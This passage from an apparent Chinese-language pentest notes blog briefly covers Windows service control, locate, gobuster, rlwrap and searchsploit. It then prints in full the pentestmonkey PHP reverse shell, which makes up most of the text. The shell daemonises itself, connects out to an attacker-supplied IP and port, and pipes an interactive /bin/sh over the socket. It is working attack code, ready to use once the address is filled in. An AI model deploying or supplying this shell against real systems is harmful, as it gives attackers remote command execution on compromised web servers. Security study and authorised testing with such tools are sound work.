    • 获取服务的详细配置信息(如可执行文件路径、依赖项、启动类型、运行账户等)。
    • 查询服务的依赖关系。
  2. 控制服务状态 (Control):

    • 启动 (Start) 一个已停止的服务。
    • 停止 (Stop) 一个正在运行的服务。
    • 暂停 (Pause) 一个正在运行的服务(如果服务支持)。
    • 继续 (Continue) 一个已暂停的服务。
    • 发送自定义控制代码给服务(用于特殊操作)。
  3. 配置服务 (Configure):

    • 修改服务的启动类型(自动、手动、禁用)。
    • 更改服务运行所使用的账户和密码。
    • 修改服务的可执行文件路径 (binPath)。
    • 更改服务的显示名称。
    • 设置或修改服务的依赖关系。
    • 配置服务的错误处理选项(例如失败后重启)。
  4. 创建服务 (Create):

    • 在系统中注册一个新的服务,指定其可执行文件、启动类型、依赖项等。这对于部署自定义应用程序或工具作为后台服务非常有用。
  5. 删除服务 (Delete):

    • 从系统中移除一个已安装的服务。
  6. 枚举服务 (EnumDepend):

    • 列出某个服务所依赖的其他服务,或者依赖于某个服务的其他服务。
  7. 与远程计算机交互:

    • 可以在命令中指定远程计算机名(需要有相应的权限),以管理远程计算机上的服务。

locate 命令

find命令类似但是,速度极快其占用时间较低

优点:

  • 速度极快: 由于是搜索一个索引数据库,而不是遍历磁盘,locate 的速度比 find 快得多,几乎是瞬间出结果。
  • 系统资源占用低: 在搜索时,它对系统资源的消耗非常小。

缺点:

  • 结果可能不是最新的: 如果自上次 updatedb 运行以来文件被创建、删除或移动,locate 将无法反映这些变化。它只能找到数据库中有的文件信息。
  • 需要数据库: 第一次使用或数据库损坏时需要先运行 updatedb。
  • 潜在的隐私问题: 数据库默认包含系统上所有可读文件的路径(这取决于 updatedb 的配置和权限),理论上可能暴露一些文件信息(尽管获取数据库文件本身需要权限)。

gobuster 命令

gobuster 是一个用 Go 语言编写的非常快速的目录、文件、子域名、虚拟主机以及云存储(如 S3、GCS)的枚举工具。它是一个在渗透测试和安全审计中常用的工具,用于发现隐藏在网站或目标域名下的资源。

gobuster 的效果严重依赖于使用的字典文件。好的字典包含常见的文件名、目录名、子域名等。SecLists (一个 GitHub 仓库) 是一个非常好的资源,提供了大量用于各种渗透测试任务的字典。

对目标的影响: 高并发 (-t) 和快速扫描可能会对目标服务器造成压力甚至拒绝服务,请谨慎使用。使用 --delay 可以减缓速度。

rlwrap 命令

lwrap 是 “Readline wrapper” 的缩写。它的主要功能是将不使用 Readline 库的交互式命令行程序“包裹”起来,为其提供 Readline 库的功能。

rlwrap 提供的 Readline 功能包括:

  • 命令行历史记录 (Command History): 可以使用向上/向下箭头键浏览之前输入的命令或数据行。
  • 行编辑 (Line Editing): 可以使用左右箭头键、Home、End、Ctrl+A (行首)、Ctrl+E (行尾)、Ctrl+K (删除到行尾)、Ctrl+U (删除到行首) 等标准的 Readline 编辑键来方便地修改当前输入的行。
  • 持久化历史记录: 通常会将输入历史保存到文件中,以便在下次运行同一命令时仍可使用。
  • TAB 补全 (Tab Completion): 虽然对于像 nc 这样的通用工具,TAB 补全可能不那么智能(因为它不知道你在输入什么具体的命令),但在某些配置下,rlwrap 也可以提供基本的 TAB 补全功能。

searchsploit 常用的命令选项及其说明

searchsploit [options] search_term [search_term2...]

searchsploit 是 Exploit-DB 数据库的命令行搜索工具,通常预装在 Kali Linux 等渗透测试发行版中。它允许你在本地离线搜索 Exploit-DB 中的漏洞利用代码和安全公告。

网站总结

思路总结

脚本总结

php反弹shell示例

<?php
  // php-reverse-shell - A Reverse Shell implementation in PHP
  // Copyright (C) 2007 pentestmonkey@pentestmonkey.net

  set_time_limit (0);
  $VERSION = "1.0";
  $ip = '[ip]';  // You have changed this
  $port = 5555;  // And this
  $chunk_size = 1400;
  $write_a = null;
  $error_a = null;
  $shell = 'uname -a; w; id; /bin/sh -i';
  $daemon = 0;
  $debug = 0;

  //
  // Daemonise ourself if possible to avoid zombies later
  //

  // pcntl_fork is hardly ever available, but will allow us to daemonise
  // our php process and avoid zombies.  Worth a try...
  if (function_exists('pcntl_fork')) {
    // Fork and have the parent process exit
    $pid = pcntl_fork();
    
    if ($pid == -1) {
      printit("ERROR: Can't fork");
      exit(1);
    }
    
    if ($pid) {
      exit(0);  // Parent exits
    }

    // Make the current process a session leader
    // Will only succeed if we forked
    if (posix_setsid() == -1) {
      printit("Error: Can't setsid()");
      exit(1);
    }

    $daemon = 1;
  } else {
    printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
  }

  // Change to a safe directory
  chdir("/");

  // Remove any umask we inherited
  umask(0);

  //
  // Do the reverse shell...
  //

  // Open reverse connection
  $sock = fsockopen($ip, $port, $errno, $errstr, 30);
  if (!$sock) {
    printit("$errstr ($errno)");
    exit(1);
  }

  // Spawn shell process
  $descriptorspec = array(
    0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
    1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
    2 => array("pipe", "w")   // stderr is a pipe that the child will write to
  );

  $process = proc_open($shell, $descriptorspec, $pipes);

  if (!is_resource($process)) {
    printit("ERROR: Can't spawn shell");
    exit(1);
  }

  // Set everything to non-blocking
  // Reason: Occsionally reads will block, even though stream_select tells us they won't
  stream_set_blocking($pipes[0], 0);
  stream_set_blocking($pipes[1], 0);
  stream_set_blocking($pipes[2], 0);
  stream_set_blocking($sock, 0);

  printit("Successfully opened reverse shell to $ip:$port");

  while (1) {
    // Check for end of TCP connection
    if (feof($sock)) {
      printit("ERROR: Shell connection terminated");
      break;
    }

    // Check for end of STDOUT
    if (feof($pipes[1])) {
      printit("ERROR: Shell process terminated");
      break;
    }

    // Wait until a command is end down $sock, or some
    // command output is available on STDOUT or STDERR
    $read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

    // If we can read from the TCP socket, send
    // data to process's STDIN
    if (in_array($sock, $read_a)) {
      if ($debug) printit("SOCK READ");
      $input = fread($sock, $chunk_size);
      if ($debug) printit("SOCK: $input");
      fwrite($pipes[0], $input);
    }

    // If we can read from the process's STDOUT
    // send data down tcp connection
    if (in_array($pipes[1], $read_a)) {
      if ($debug) printit("STDOUT READ");
      $input = fread($pipes[1], $chunk_size);
      if ($debug) printit("STDOUT: $input");
      fwrite($sock, $input);
    }

    // If we can read from the process's STDERR
    // send data down tcp connection
    if (in_array($pipes[2], $read_a)) {
      if ($debug) printit("STDERR READ");
      $input = fread($pipes[2], $chunk_size);
      if ($debug) printit("STDERR: $input");
      fwrite($sock, $input);
    }
  }

  fclose($sock);
  fclose($pipes[0]);
  fclose($pipes[1]);
  fclose($pipes[2]);
  proc_close($process);

  // Like print, but does nothing if we've daemonised ourself
  // (I can't figure out how to redirect STDOUT like a proper daemon)
  function printit ($string) {
    if (!$daemon) {
      print "$string
";
    }
  }

  ?>

Q.E.D.


一个平凡人的追梦之旅